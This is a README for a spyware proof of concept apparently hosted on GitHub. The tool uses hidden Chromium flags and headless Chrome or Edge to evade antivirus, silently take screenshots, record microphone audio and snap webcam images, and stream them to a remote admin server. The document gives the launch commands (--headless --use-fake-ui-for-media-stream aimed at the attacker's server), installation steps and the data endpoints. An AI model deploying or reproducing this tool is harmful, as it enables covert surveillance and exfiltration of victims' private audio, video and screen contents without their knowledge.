Chrome-based POC of a spy tool that utilizes hidden Chromium flags to bypass antivirus detection, capture screenshots, the webcam and even record microphone audio — all in headless mode.
https://www.youtube.com/watch?v=WqE3BpcCZvE
- Screen Recording: Captures screenshots every 10 seconds using Chrome's display recording API
- Audio Recording: Records microphone audio in 30-second chunks
- Webcam Snapshots: Manual webcam capture with minimal indication-light time
- Client Identification: Each connection gets a unique ID for tracking
- Admin Panel: Modern UI for viewing connections, recordings, and live streams
- Session Management: View and manage individual recording sessions
- File Management: Browse, view, play, and delete recordings
- Real-time Statistics: Live counters for active connections, sessions, screenshots, audio files, and webcam pictures
- Low Memory Usage: Optimized for minimal resource consumption
- Real-time Updates: WebSocket-based communication for data synchronization
- Deno installed on your system
- Installation: Follow the official Deno installation guide
-
Clone the repository
git clone https://github.com/ne0YT/chromerecord/ cd chromerecord -
Run the installation script
bash ./install.sh
-
Configure reverse proxy with SSL + authentication
⚠️ Important: Use a reverse-proxy with trusted SSL + auth for/admindirective for security.
Once installed, you can manage the application as a system service:
# 📜 View logs
tail -f /var/log/deno-app/output.log
# ▶ Start the service
sudo systemctl start deno-app
# ⏹ Stop the service
sudo systemctl stop deno-app
# 📋 Check status
sudo systemctl status deno-appAccess the admin panel at:
https://YOURSERVER.TLD/admin
/admin for proper authentication.
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --use-fake-ui-for-media-stream https://YOURSERVER.TLD"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --use-fake-ui-for-media-stream https://YOURSERVER.TLD- Check Client "Setup"..
- Locally runs on
http://localhost:8000 - Screen captures every 10 seconds
- Audio recorded in 30-second chunks
- Navigate to
http://localhost:8000/admin - View all active connections
- Monitor recording statistics
- Browse and play back recorded files
- Real-time data synchronization
chromerecord/
├── main.ts # Main server file with Oak router and WebSocket
├── deno.json # Deno configuration and dependencies
├── public/
│ ├── index.html # Main recording page
│ └── admin.html # Admin panel interface
├── recordings/ # Generated recordings directory
└── README.md # This file
GET /- Main recording pageGET /admin- Admin panelGET /api/connections- List active connectionsGET /recordings/:filename- Download recorded filesDELETE /recordings/:filename- Delete recorded files
- Client → Server:
{ type: "screenshot", data: "base64" }- Screenshot data{ type: "audio", data: "base64" }- Audio data
- All recordings are stored locally
- No encryption by default
- Client identification via UUID
- No authentication implemented (add your own if needed)
Ensure Deno has the required permissions:
deno run --allow-net --allow-read --allow-write --allow-env --allow-run main.ts- Check if port 8081 is available
- Ensure firewall allows WebSocket connections
- Verify browser supports WebSocket
- Ensure HTTPS in production (required for media APIs)